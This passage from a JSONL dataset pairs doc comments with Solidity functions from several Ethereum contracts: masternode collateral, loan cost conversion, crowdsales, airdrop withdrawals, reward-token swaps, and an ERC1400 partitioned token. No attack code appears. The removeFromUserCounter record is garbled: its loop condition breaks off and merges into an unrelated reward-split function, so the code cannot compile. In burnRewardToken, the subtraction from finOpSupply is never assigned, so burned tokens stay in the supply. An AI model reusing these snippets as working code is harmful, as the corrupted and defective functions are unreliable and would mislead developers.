handling vote results. It costs more gas but prevents tampering.\r\n // If gas is an issue, you can comment handleLastProposal out and call it manually as onlyOwner.\r\n handleLastProposal();\r\n return true;\r\n }\r\n }\r\n\r\n\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Add a new token as accepted payment method.\r\n * @param _token Token contract address.\r\n * @param _amount Required amount of this Token as collateral\r\n * @param daysAllowed How many days will we accept this token?\r\n */", "function_code": "function addToWhitelist(address _token, uint _amount, uint daysAllowed) internal {\r\n _whitelistTokens storage newToken = acceptedTokens[_token];\r\n newToken.tokenAddress = _token;\r\n newToken.requiredAmount = _amount;\r\n newToken.timestamp = now;\r\n newToken.validUntil = now + (daysAllowed * 1 days);\r\n newToken.active = true;\r\n\r\n tokensList.push(_token);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Public function that allows any user to deposit accepted tokens as collateral to become a masternode.\r\n * @param token Token contract address\r\n * @param amount Amount to deposit\r\n */", "function_code": "function depositCollateral(address token, uint amount) public {\r\n require(isAcceptedToken(token), \"ERC20 not authorised\"); // Should be a token from our list\r\n require(amount == getAcceptedTokenAmount(token)); // The amount needs to match our set amount\r\n require(isValid(token)); // It should be called within the setup timeframe\r\n\r\n tokens[token][msg.sender] = tokens[token][msg.sender].add(amount);\r\n\r\n require(StandardToken(token).transferFrom(msg.sender, this, amount), \"error with token\");\r\n emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);\r\n\r\n addMasternode(msg.sender);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Public function that allows any user to withdraw deposited tokens and stop as masternode\r\n * @param token Token contract address\r\n * @param amount Amount to withdraw\r\n */", "function_code": "function withdrawCollateral(address token, uint amount) public {\r\n require(token != 0); // token should be an actual address\r\n require(isAcceptedToken(token), \"ERC20 not authorised\"); // Should be a token from our list\r\n require(isMasternodeOwner(msg.sender)); // The sender must be a masternode prior to withdraw\r\n require(tokens[token][msg.sender] == amount); // The amount must be exactly whatever is deposited\r\n\r\n uint amountToWithdraw = tokens[token][msg.sender];\r\n tokens[token][msg.sender] = 0;\r\n\r\n deleteMasternode(getLastPerUser(msg.sender));\r\n\r\n if (!StandardToken(token).transfer(msg.sender, amountToWithdraw)) revert();\r\n emit Withdraw(token, msg.sender, amountToWithdraw, amountToWithdraw);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Add a user as masternode. Called as internal since we only add masternodes by depositing collateral or by voting.\r\n * @param _candidate Candidate address\r\n * @return uint Masternode index\r\n */", "function_code": "function addMasternode(address _candidate) internal returns(uint) {\r\n userByIndex[masternodeCounter].accountOwner = _candidate;\r\n userByIndex[masternodeCounter].isActive = true;\r\n userByIndex[masternodeCounter].startingRound = masternodeRound + 1;\r\n userByIndex[masternodeCounter].storedIndex = masternodeCounter;\r\n\r\n userByAddress[_candidate].accountOwner = _candidate;\r\n userByAddress[_candidate].indexcounter.push(masternodeCounter);\r\n\r\n userArray.push(userArray.length);\r\n masternodeCounter++;\r\n\r\n emit NewMasternode(_candidate, now);\r\n return masternodeCounter - 1; //\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Remove a specific masternode\r\n * @param _masternodeID ID of the masternode to remove\r\n */", "function_code": "function deleteMasternode(uint _masternodeID) internal returns(bool success) {\r\n\r\n uint rowToDelete = userByIndex[_masternodeID].storedIndex;\r\n uint keyToMove = userArray[userArray.length - 1];\r\n\r\n userByIndex[_masternodeID].isActive = userByIndex[_masternodeID].isActive = (false);\r\n userArray[rowToDelete] = keyToMove;\r\n userByIndex[keyToMove].storedIndex = rowToDelete;\r\n userArray.length = userArray.length - 1;\r\n\r\n removeFromUserCounter(_masternodeID);\r\n\r\n emit RemovedMasternode(userByIndex[_masternodeID].accountOwner, now);\r\n\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Internal function to remove a masternode from a user address if this address holds multpile masternodes\r\n * @param index MasternodeID\r\n */", "function_code": "function removeFromUserCounter(uint index) internal returns(uint[]) {\r\n address belong = isPartOf(index);\r\n\r\n if (index >= userByAddress[belong].indexcounter.length) return;\r\n\r\n for (uint i = index; i 90) {\r\n rewardsProofOfWork = _global_reward_amount / 100 * 2;\r\n rewardsMasternode = _global_reward_amount / 100 * 98;\r\n return;\r\n }\r\n\r\n uint _mnreward = (_global_reward_amount / 100) * getStageOfMining;\r\n uint _powreward = (_global_reward_amount - _mnreward);\r\n\r\n setBaseRewards(_powreward, _mnreward);\r\n }", "version": "0.4.25"} {"comment": "//help debug mining software", "function_code": "function checkMintSolution(\r\n uint256 nonce,\r\n bytes32 challenge_digest,\r\n bytes32 challenge_number,\r\n uint testTarget\r\n )\r\n public view returns(bool success) {\r\n bytes32 digest = keccak256(challenge_number, msg.sender, nonce);\r\n if (uint256(digest) > testTarget) revert();\r\n return (digest == challenge_digest);\r\n }", "version": "0.4.25"} {"comment": "/// @notice returns how much RCN is required for a given pay", "function_code": "function getPayCostWithFee(\r\n ITokenConverter _converter,\r\n IERC20 _fromToken,\r\n bytes32 _requestId,\r\n uint256 _amount,\r\n bytes calldata _oracleData\r\n ) external returns (uint256) {\r\n (uint256 amount, uint256 fee) = _getRequiredRcnPay(_requestId, _amount, _oracleData);\r\n\r\n return _converter.getPriceConvertTo(\r\n _fromToken,\r\n debtEngineToken,\r\n amount + fee\r\n );\r\n }", "version": "0.6.6"} {"comment": "/// @notice returns how much RCN is required for a given lend", "function_code": "function _getRequiredRcnLend(\r\n Cosigner _cosigner,\r\n bytes32 _requestId,\r\n bytes memory _oracleData,\r\n bytes memory _cosignerData\r\n ) internal returns (uint256) {\r\n // Load request amount\r\n uint256 amount = loanManager.getAmount(_requestId);\r\n\r\n // If loan has a cosigner, sum the cost\r\n if (_cosigner != Cosigner(0)) {\r\n amount = amount.add(\r\n _cosigner.cost(\r\n address(loanManager),\r\n uint256(_requestId),\r\n _cosignerData,\r\n _oracleData\r\n )\r\n );\r\n }\r\n\r\n // Convert amount in currency to amount in tokens\r\n RateOracle oracle = loanManager.getOracle(_requestId);\r\n if (oracle == RateOracle(0)) {\r\n return amount;\r\n }\r\n\r\n (uint256 tokens, uint256 equivalent) = oracle.readSample(_oracleData);\r\n\r\n emit ReadedOracle(oracle, tokens, equivalent);\r\n\r\n return tokens.mult(amount).divCeil(equivalent);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * Constructor function\r\n * Setup the owner\r\n */", "function_code": "function PriIcoSale2(address _sendAddress, uint _goalEthers, uint _dividendRate, address _tokenAddress, address _whiteListAddress) public {\r\n require(_sendAddress != address(0));\r\n require(_tokenAddress != address(0));\r\n require(_whiteListAddress != address(0));\r\n \r\n owner = msg.sender; // set owner\r\n beneficiary = _sendAddress; // set beneficiary \r\n fundingEthGoal = _goalEthers * 1 ether; // set goal ethereu\r\n pricePerEther = _dividendRate; // set price per ether\r\n \r\n tokenReward = Token(_tokenAddress); // set token address\r\n whiteListMge = WhiteList(_whiteListAddress); // set whitelist address\r\n \r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice Airdrop creator is able to withdraw unclaimed tokens after expiration date is over\n */", "function_code": "function withdrawTokensFromExpiredAirdrop(uint256 airdropId) external {\n require(!isPaused[2], \"Paused\");\n AirDrop storage airDrop = airDrops[airdropId];\n require(address(airDrop.token) != address(0), \"Airdrop with given Id doesn't exists\");\n require(airDrop.creator == msg.sender, \"Only airdrop creator can withdraw\");\n require(airDrop.expirationTimestamp < block.timestamp, \"Airdrop isn't expired yet\");\n require(airDrop.amount > 0, \"Airdrop balance is empty\");\n uint256 amount = airDrop.amount;\n airDrop.amount = 0;\n airDrop.token.safeTransferFrom(address(this), msg.sender, airDrop.tokenId, amount, \"\");\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Admin is able to withdraw tokens unclaimed by creators 1 month after expiration date is over\n */", "function_code": "function adminWithdrawTokensFromExpiredAirdrop(uint256 airdropId) external onlyOwner {\n AirDrop storage airDrop = airDrops[airdropId];\n require(address(airDrop.token) != address(0), \"Airdrop with given Id doesn't exists\");\n require(airDrop.expirationTimestamp + DEFAULT_ADMIN_WITHDRAWAL < block.timestamp,\n \"need to wait creator withdrawal expiration\");\n require(airDrop.amount > 0, \"Airdrop balance is empty\");\n uint256 amount = airDrop.amount;\n airDrop.amount = 0;\n airDrop.token.safeTransferFrom(address(this), msg.sender, airDrop.tokenId, amount, \"\");\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Use reserve to swap Token for rewardToken between accounts\r\n *\r\n * @param sender account to deduct token from\r\n * @param receiver account to add rewardToken to\r\n * @param amount Token amount to exchange for rewardToken\r\n * @param finOp financial opportunity to swap tokens for\r\n */", "function_code": "function swapTokenForReward(\r\n address sender,\r\n address receiver,\r\n uint256 amount,\r\n address finOp\r\n ) internal validFinOp(finOp) {\r\n // require sender has sufficient balance\r\n require(balanceOf(sender) >= amount, \"insufficient balance\");\r\n\r\n // calculate rewardToken value for depositToken amount\r\n uint256 rewardAmount = _toRewardToken(amount, finOp);\r\n\r\n // require reserve\r\n require(rewardTokenBalance(RESERVE, finOp) >= rewardAmount, \"not enough rewardToken in reserve\");\r\n\r\n // sub from sender and add to reserve for depositToken\r\n _subBalance(sender, amount);\r\n _addBalance(RESERVE, amount);\r\n\r\n // sub from reserve and add to sender for rewardToken\r\n _subRewardBalance(RESERVE, rewardAmount, finOp);\r\n _addRewardBalance(receiver, rewardAmount, finOp);\r\n\r\n // emit event\r\n emit SwapTokenForReward(sender, receiver, amount, finOp);\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev Use reserve to swap rewardToken for Token between accounts\r\n *\r\n * @param sender account to swap rewardToken from\r\n * @param receiver account to add Token to\r\n * @param tokenAmount token amount to receive for Token\r\n * @param finOp financial opportunity\r\n */", "function_code": "function swapRewardForToken(\r\n address sender,\r\n address receiver,\r\n uint256 tokenAmount,\r\n address finOp\r\n ) internal validFinOp(finOp) {\r\n // ensure reserve has enough balance\r\n require(balanceOf(RESERVE) >= tokenAmount, \"not enough depositToken in reserve\");\r\n\r\n uint256 rewardAmount = _toRewardToken(tokenAmount, finOp);\r\n\r\n // require sufficient balance\r\n require (rewardTokenBalance(sender, finOp) >= rewardAmount, \"insufficient rewardToken balance\");\r\n\r\n // sub account and add reserve for rewardToken\r\n _subRewardBalance(sender, rewardAmount, finOp);\r\n _addRewardBalance(RESERVE, rewardAmount, finOp);\r\n\r\n // sub account and add reserve for Token\r\n _subBalance(RESERVE, tokenAmount);\r\n _addBalance(receiver, tokenAmount);\r\n\r\n // emit event\r\n emit SwapRewardForToken(sender, receiver, rewardAmount, finOp);\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev mint rewardToken for financial opportunity\r\n *\r\n * For valid finOp, deposit Token into finOp\r\n * Update finOpSupply & finOpBalance for account\r\n * Emit mintRewardToken event on success\r\n *\r\n * @param account account to mint rewardToken for\r\n * @param amount amount of depositToken to mint\r\n * @param finOp financial opportunity address\r\n */", "function_code": "function mintRewardToken(\r\n address account,\r\n uint256 amount,\r\n address finOp\r\n ) internal validFinOp(finOp) returns (uint256) {\r\n // require sufficient balance\r\n require(super.balanceOf(account) >= amount, \"insufficient token balance\");\r\n\r\n // approve finOp can spend Token\r\n _setAllowance(account, finOp, amount);\r\n\r\n // deposit into finOp\r\n uint256 rewardAmount = _getFinOp(finOp).deposit(account, amount);\r\n\r\n // increase finOp rewardToken supply\r\n finOpSupply[finOp] = finOpSupply[finOp].add(rewardAmount);\r\n\r\n // increase account rewardToken balance\r\n _addRewardBalance(account, rewardAmount, finOp);\r\n\r\n // emit mint event\r\n emit MintRewardToken(account, amount, finOp);\r\n\r\n return rewardAmount;\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev redeem rewardToken balance for depositToken\r\n *\r\n * For valid finOp, deposit Token into finOp\r\n * Update finOpSupply & finOpBalance for account\r\n * Emit mintRewardToken event on success\r\n *\r\n * @param account account to redeem rewardToken for\r\n * @param amount depositToken amount to redeem\r\n * @param finOp financial opportunitu address\r\n */", "function_code": "function redeemRewardToken(\r\n address account,\r\n uint256 amount,\r\n address finOp\r\n ) internal validFinOp(finOp) returns (uint256) {\r\n // require sufficient balance\r\n require(rewardTokenBalance(account, finOp) >= amount, \"insufficient reward balance\");\r\n\r\n // withdraw from finOp, giving TUSD to account\r\n uint256 tokenAmount = _getFinOp(finOp).redeem(account, amount);\r\n\r\n // decrease finOp rewardToken supply\r\n finOpSupply[finOp] = finOpSupply[finOp].sub(amount);\r\n\r\n // decrease account rewardToken balance\r\n _subRewardBalance(account, amount, finOp);\r\n\r\n // emit mint event\r\n emit RedeemRewardToken(account, tokenAmount, finOp);\r\n\r\n return tokenAmount;\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev burn rewardToken without redeeming\r\n *\r\n * Burn rewardToken for finOp\r\n *\r\n * @param account account to burn rewardToken for\r\n * @param amount depositToken amount to burn\r\n * @param finOp financial opportunity address\r\n */", "function_code": "function burnRewardToken(\r\n address account,\r\n uint256 amount,\r\n address finOp\r\n )\r\n internal\r\n validFinOp(finOp)\r\n {\r\n // burn call must come from sender\r\n require(msg.sender == account);\r\n\r\n // sender must have rewardToken amount to burn\r\n require(rewardTokenBalance(account, finOp) >= amount);\r\n\r\n // subtract reward balance from\r\n _subRewardBalance(account, amount, finOp);\r\n\r\n // reduce total supply\r\n finOpSupply[finOp].sub(amount);\r\n\r\n // burn event\r\n emit BurnRewardToken(account, amount, finOp);\r\n }", "version": "0.5.13"} {"comment": "// ignore the Crowdsale.rate and dynamically compute rate based on other factors (e.g. purchase amount, time, etc)", "function_code": "function FlipCrowdsale(MintableToken _token, uint256 _startTime, uint256 _endTime, address _ethWallet)\r\n Ownable()\r\n Pausable()\r\n Contactable()\r\n HasNoTokens()\r\n HasNoContracts()\r\n Crowdsale(_startTime, _endTime, 1, _ethWallet)\r\n FinalizableCrowdsale()\r\n {\r\n // deployment must set token.owner = FlipCrowdsale.address to allow minting\r\n token = _token;\r\n contactInformation = 'https://tokensale.gameflip.com/';\r\n }", "version": "0.4.15"} {"comment": "// over-ridden low level token purchase function so that we\n// can control the token-per-wei exchange rate dynamically", "function_code": "function buyTokens(address beneficiary) public payable whenNotPaused {\r\n require(beneficiary != 0x0);\r\n require(validPurchase());\r\n\r\n uint256 weiAmount = msg.value;\r\n\r\n // calculate token amount to be created\r\n uint256 tokens = applyExchangeRate(weiAmount);\r\n\r\n // update state\r\n weiRaised = weiRaised.add(weiAmount);\r\n tokensSold = tokensSold.add(tokens);\r\n\r\n token.mint(beneficiary, tokens);\r\n TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);\r\n\r\n forwardFunds();\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * @dev Can be overridden to add finalization logic. The overriding function\r\n * should call super.finalization() to ensure the chain of finalization is\r\n * executed entirely.\r\n */", "function_code": "function finalization() internal {\r\n // if we own the token, pass ownership to our owner when finalized\r\n if(address(token) != address(0) && token.owner() == address(this) && owner != address(0)) {\r\n token.transferOwnership(owner);\r\n }\r\n super.finalization();\r\n }", "version": "0.4.15"} {"comment": "/**\n * @dev Associate a document with the token.\n * @param name Short name (represented as a bytes32) associated to the document.\n * @param uri Document content.\n * @param documentHash Hash of the document [optional parameter].\n */", "function_code": "function setDocument(bytes32 name, string calldata uri, bytes32 documentHash) external override {\n require(_isController[msg.sender]);\n _documents[name] = Doc({\n docURI: uri,\n docHash: documentHash,\n timestamp: block.timestamp\n });\n\n if (_indexOfDocHashes[documentHash] == 0) {\n _docHashes.push(documentHash);\n _indexOfDocHashes[documentHash] = _docHashes.length;\n }\n\n emit DocumentUpdated(name, uri, documentHash);\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Transfer the amount of tokens on behalf of the address 'from' to the address 'to'.\n * @param from Token holder (or 'address(0)' to set from to 'msg.sender').\n * @param to Token recipient.\n * @param value Number of tokens to transfer.\n * @param data Information attached to the transfer, and intended for the token holder ('from').\n */", "function_code": "function transferFromWithData(address from, address to, uint256 value, bytes calldata data) external override virtual {\n require( _isOperator(msg.sender, from)\n || (value <= _allowed[from][msg.sender]), \"53\"); // 0x53\tinsufficient allowance\n\n if(_allowed[from][msg.sender] >= value) {\n _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);\n } else {\n _allowed[from][msg.sender] = 0;\n }\n\n _transferByDefaultPartitions(msg.sender, from, to, value, data);\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Transfer tokens from a specific partition through an operator.\n * @param partition Name of the partition.\n * @param from Token holder.\n * @param to Token recipient.\n * @param value Number of tokens to transfer.\n * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION]\n * @param operatorData Information attached to the transfer, by the operator.\n * @return Destination partition.\n */", "function_code": "function operatorTransferByPartition(\n bytes32 partition,\n address from,\n address to,\n uint256 value,\n bytes calldata data,\n bytes calldata operatorData\n )\n external\n override\n returns (bytes32)\n {\n //We want to check if the msg.sender is an authorized operator for `from`\n //(msg.sender == from OR msg.sender is authorized by from OR msg.sender is a controller if this token is controlable)\n //OR\n //We want to check if msg.sender is an `allowed` operator/spender for `from`\n require(_isOperatorForPartition(partition, msg.sender, from)\n || (value <= _allowedByPartition[partition][from][msg.sender]), \"53\"); // 0x53\tinsufficient allowance\n\n if(_allowedByPartition[partition][from][msg.sender] >= value) {\n _allowedByPartition[partition][from][msg.sender] = _allowedByPartition[partition][from][msg.sender].sub(value);\n } else {\n _allowedByPartition[partition][from][msg.sender] = 0;\n }\n\n return _transferByPartition(partition, msg.sender, from, to, value, data, operatorData);\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Redeem the amount of tokens on behalf of the address from.\n * @param from Token holder whose tokens will be redeemed (or address(0) to set from to msg.sender).\n * @param value Number of tokens to redeem.\n * @param data Information attached to the redemption.\n */", "function_code": "function redeemFrom(address from, uint256 value, bytes calldata data)\n external\n override\n virtual\n {\n require(_isOperator(msg.sender, from)\n || (value <= _allowed[from][msg.sender]), \"53\"); // 0x53\tinsufficient allowance\n\n if(_allowed[from][msg.sender] >= value) {\n _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);\n } else {\n _allowed[from][msg.sender] = 0;\n }\n\n _redeemByDefaultPartitions(msg.sender, from, value, data);\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Redeem tokens of a specific partition.\n * @param partition Name of the partition.\n * @param tokenHolder Address for which we want to redeem tokens.\n * @param value Number of tokens redeemed\n * @param operatorData Information attached to the redemption, by the operator.\n */", "function_code": "function operatorRedeemByPartition(bytes32 partition, address tokenHolder, uint256 value, bytes calldata operatorData)\n external\n override\n {\n require(_isOperatorForPartition(partition, msg.sender, tokenHolder) || value <= _allowedByPartition[partition][tokenHolder][msg.sender], \"58\"); // 0x58\tinvalid operator (transfer agent)\n\n if(_allowedByPartition[partition][tokenHolder][msg.sender] >= value) {\n _allowedByPartition[partition][tokenHolder][msg.sender] = _allowedByPartition[partition][tokenHolder][msg.sender].sub(value);\n } else {\n _allowedByPartition[partition][tokenHolder][msg.sender] = 0;\n }\n\n _redeemByPartition(partition, msg.sender, tokenHolder, value, \"\", operatorData);\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Perform the transfer of tokens.\n * @param from Token holder.\n * @param to Token recipient.\n * @param value Number of tokens to transfer.\n */", "function_code": "function _transferWithData(\n address from,\n address to,\n uint256 value\n )\n internal\n isNotMigratedToken\n {\n require(_isMultiple(value), \"50\"); // 0x50\ttransfer failure\n require(to != address(0), \"57\"); // 0x57\tinvalid receiver\n require(_balances[from] >= value, \"52\"); // 0x52\tinsufficient balance\n \n _balances[from] = _balances[from].sub(value);\n _balances[to] = _balances[to].add(value);\n\n emit Transfer(from, to, value); // ERC20 retrocompatibility \n }", "version": "0.8.10"} {"comment": "/**\n * @dev Transfer tokens from default partitions.\n * Function used for ERC20 retrocompatibility.\n * @param operator The address performing the transfer.\n * @param from Token holder.\n * @param to Token recipient.\n * @param value Number of tokens to transfer.\n * @param data Information attached to the transfer, and intended for the token holder ('from') [CAN CONTAIN THE DESTINATION PARTITION].\n */", "function_code": "function _transferByDefaultPartitions(\n address operator,\n address from,\n address to,\n uint256 value,\n bytes memory data\n )\n internal\n {\n require(_defaultPartitions.length != 0, \"55\"); // // 0x55\tfunds locked (lockup period)\n\n uint256 _remainingValue = value;\n uint256 _localBalance;\n\n for (uint i = 0; i < _defaultPartitions.length; i++) {\n _localBalance = _balanceOfByPartition[from][_defaultPartitions[i]];\n if(_remainingValue <= _localBalance) {\n _transferByPartition(_defaultPartitions[i], operator, from, to, _remainingValue, data, \"\");\n _remainingValue = 0;\n break;\n } else if (_localBalance != 0) {\n _transferByPartition(_defaultPartitions[i], operator, from, to, _localBalance, data, \"\");\n _remainingValue = _remainingValue - _localBalance;\n }\n }\n\n require(_remainingValue == 0, \"52\"); // 0x52\tinsufficient balance\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Retrieve the destination partition from the 'data' field.\n * By convention, a partition change is requested ONLY when 'data' starts\n * with the flag: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n * When the flag is detected, the destination tranche is extracted from the\n * 32 bytes following the flag.\n * @param fromPartition Partition of the tokens to transfer.\n * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION]\n * @return toPartition Destination partition.\n */", "function_code": "function _getDestinationPartition(bytes32 fromPartition, bytes memory data) internal pure returns(bytes32 toPartition) {\n bytes32 changePartitionFlag = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;\n bytes32 flag;\n assembly {\n flag := mload(add(data, 32))\n }\n if(flag == changePartitionFlag) {\n assembly {\n toPartition := mload(add(data, 64))\n }\n } else {\n toPartition = fromPartition;\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Remove a token from a specific partition.\n * @param from Token holder.\n * @param partition Name of the partition.\n * @param value Number of tokens to transfer.\n */", "function_code": "function _removeTokenFromPartition(address from, bytes32 partition, uint256 value) internal {\n _balanceOfByPartition[from][partition] = _balanceOfByPartition[from][partition].sub(value);\n _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition].sub(value);\n\n // If the total supply is zero, finds and deletes the partition.\n if(_totalSupplyByPartition[partition] == 0) {\n uint256 index1 = _indexOfTotalPartitions[partition];\n require(index1 > 0, \"50\"); // 0x50\ttransfer failure\n\n // move the last item into the index being vacated\n bytes32 lastValue = _totalPartitions[_totalPartitions.length - 1];\n _totalPartitions[index1 - 1] = lastValue; // adjust for 1-based indexing\n _indexOfTotalPartitions[lastValue] = index1;\n\n //_totalPartitions.length -= 1;\n _totalPartitions.pop();\n _indexOfTotalPartitions[partition] = 0;\n }\n\n // If the balance of the TokenHolder's partition is zero, finds and deletes the partition.\n if(_balanceOfByPartition[from][partition] == 0) {\n uint256 index2 = _indexOfPartitionsOf[from][partition];\n require(index2 > 0, \"50\"); // 0x50\ttransfer failure\n\n // move the last item into the index being vacated\n bytes32 lastValue = _partitionsOf[from][_partitionsOf[from].length - 1];\n _partitionsOf[from][index2 - 1] = lastValue; // adjust for 1-based indexing\n _indexOfPartitionsOf[from][lastValue] = index2;\n\n //_partitionsOf[from].length -= 1;\n _partitionsOf[from].pop();\n _indexOfPartitionsOf[from][partition] = 0;\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Add a token to a specific partition.\n * @param to Token recipient.\n * @param partition Name of the partition.\n * @param value Number of tokens to transfer.\n */", "function_code": "function _addTokenToPartition(address to, bytes32 partition, uint256 value) internal {\n if(value != 0) {\n if (_indexOfPartitionsOf[to][partition] == 0) {\n _partitionsOf[to].push(partition);\n _indexOfPartitionsOf[to][partition] = _partitionsOf[to].length;\n }\n _balanceOfByPartition[to][partition] = _balanceOfByPartition[to][partition].add(value);\n\n if (_indexOfTotalPartitions[partition] == 0) {\n _totalPartitions.push(partition);\n _indexOfTotalPartitions[partition] = _totalPartitions.length;\n }\n _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition].add(value);\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Check for 'ERC1400TokensSender' user extension in ERC1820 registry and call it.\n * @param partition Name of the partition (bytes32 to be left empty for transfers where partition is not specified).\n * @param operator Address which triggered the balance decrease (through transfer or redemption).\n * @param from Token holder.\n * @param to Token recipient for a transfer and 0x for a redemption.\n * @param value Number of tokens the token holder balance is decreased by.\n * @param data Extra information.\n * @param operatorData Extra information, attached by the operator (if any).\n */", "function_code": "function _callSenderExtension(\n bytes32 partition,\n address operator,\n address from,\n address to,\n uint256 value,\n bytes memory data,\n bytes memory operatorData\n )\n internal\n {\n address senderImplementation;\n senderImplementation = interfaceAddr(from, ERC1400_TOKENS_SENDER);\n if (senderImplementation != address(0)) {\n IERC1400TokensSender(senderImplementation).tokensToTransfer(msg.data, partition, operator, from, to, value, data, operatorData);\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Perform the issuance of tokens.\n * @param operator Address which triggered the issuance.\n * @param to Token recipient.\n * @param value Number of tokens issued.\n * @param data Information attached to the issuance, and intended for the recipient (to).\n */", "function_code": "function _issue(address operator, address to, uint256 value, bytes memory data)\n internal\n isNotMigratedToken \n {\n require(_isMultiple(value), \"50\"); // 0x50\ttransfer failure\n require(to != address(0), \"57\"); // 0x57\tinvalid receiver\n\n _totalSupply = _totalSupply.add(value);\n _balances[to] = _balances[to].add(value);\n\n emit Issued(operator, to, value, data);\n emit Transfer(address(0), to, value); // ERC20 retrocompatibility\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Issue tokens from a specific partition.\n * @param toPartition Name of the partition.\n * @param operator The address performing the issuance.\n * @param to Token recipient.\n * @param value Number of tokens to issue.\n * @param data Information attached to the issuance.\n */", "function_code": "function _issueByPartition(\n bytes32 toPartition,\n address operator,\n address to,\n uint256 value,\n bytes memory data\n )\n internal\n {\n _callMintExtension(toPartition, operator, address(0), to, value, data, \"\");\n\n _issue(operator, to, value, data);\n _addTokenToPartition(to, toPartition, value);\n\n _callRecipientExtension(toPartition, operator, address(0), to, value, data, \"\");\n\n emit IssuedByPartition(toPartition, operator, to, value, data, \"\");\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Perform the token redemption.\n * @param operator The address performing the redemption.\n * @param from Token holder whose tokens will be redeemed.\n * @param value Number of tokens to redeem.\n * @param data Information attached to the redemption.\n */", "function_code": "function _redeem(address operator, address from, uint256 value, bytes memory data)\n internal\n isNotMigratedToken\n {\n require(_isMultiple(value), \"50\"); // 0x50\ttransfer failure\n require(from != address(0), \"56\"); // 0x56\tinvalid sender\n require(_balances[from] >= value, \"52\"); // 0x52\tinsufficient balance\n\n _balances[from] = _balances[from].sub(value);\n _totalSupply = _totalSupply.sub(value);\n\n emit Redeemed(operator, from, value, data);\n emit Transfer(from, address(0), value); // ERC20 retrocompatibility\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Redeem tokens of a specific partition.\n * @param fromPartition Name of the partition.\n * @param operator The address performing the redemption.\n * @param from Token holder whose tokens will be redeemed.\n * @param value Number of tokens to redeem.\n * @param data Information attached to the redemption.\n * @param operatorData Information attached to the redemption, by the operator (if any).\n */", "function_code": "function _redeemByPartition(\n bytes32 fromPartition,\n address operator,\n address from,\n uint256 value,\n bytes memory data,\n bytes memory operatorData\n )\n internal\n {\n require(_balanceOfByPartition[from][fromPartition] >= value, \"52\"); // 0x52\tinsufficient balance\n\n _callSenderExtension(fromPartition, operator, from, address(0), value, data, operatorData);\n _callRedeemExtension(fromPartition, operator, from, address(0), value, data, operatorData);\n\n _removeTokenFromPartition(from, fromPartition, value);\n _redeem(operator, from, value, data);\n\n emit RedeemedByPartition(fromPartition, operator, from, value, operatorData);\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Redeem tokens from a default partitions.\n * @param operator The address performing the redeem.\n * @param from Token holder.\n * @param value Number of tokens to redeem.\n * @param data Information attached to the redemption.\n */", "function_code": "function _redeemByDefaultPartitions(\n address operator,\n address from,\n uint256 value,\n bytes memory data\n )\n internal\n {\n require(_defaultPartitions.length != 0, \"55\"); // 0x55\tfunds locked (lockup period)\n\n uint256 _remainingValue = value;\n uint256 _localBalance;\n\n for (uint i = 0; i < _defaultPartitions.length; i++) {\n _localBalance = _balanceOfByPartition[from][_defaultPartitions[i]];\n if(_remainingValue <= _localBalance) {\n _redeemByPartition(_defaultPartitions[i], operator, from, _remainingValue, data, \"\");\n _remainingValue = 0;\n break;\n } else {\n _redeemByPartition(_defaultPartitions[i], operator, from, _localBalance, data, \"\");\n _remainingValue = _remainingValue - _localBalance;\n }\n }\n\n require(_remainingValue == 0, \"52\"); // 0x52\tinsufficient balance\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Know the reason on success or failure based on the EIP-1066 application-specific status codes.\n * @param payload Payload of the initial transaction.\n * @param partition Name of the partition.\n * @param operator The address performing the transfer.\n * @param from Token holder.\n * @param to Token recipient.\n * @param value Number of tokens to transfer.\n * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION]\n * @param operatorData Information attached to the transfer, by the operator (if any).\n * @return ESC (Ethereum Status Code) following the EIP-1066 standard.\n * @return Additional bytes32 parameter that can be used to define\n * application specific reason codes with additional details (for example the\n * transfer restriction rule responsible for making the transfer operation invalid).\n * @return Destination partition.\n */", "function_code": "function canTransfer(bytes memory payload, bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData)\n external\n returns (bytes1, bytes32, bytes32)\n {\n if(_balanceOfByPartition[from][partition] < value) {\n return(hex\"52\", \"\", partition); // 0x52\tinsufficient balance\n }\n \n address validatorImplementation = interfaceAddr(address(this), ERC1400_TOKENS_VALIDATOR);\n if (validatorImplementation != address(0)) {\n IERC1400TokensValidator(validatorImplementation).tokensToValidate(msg.data, partition, 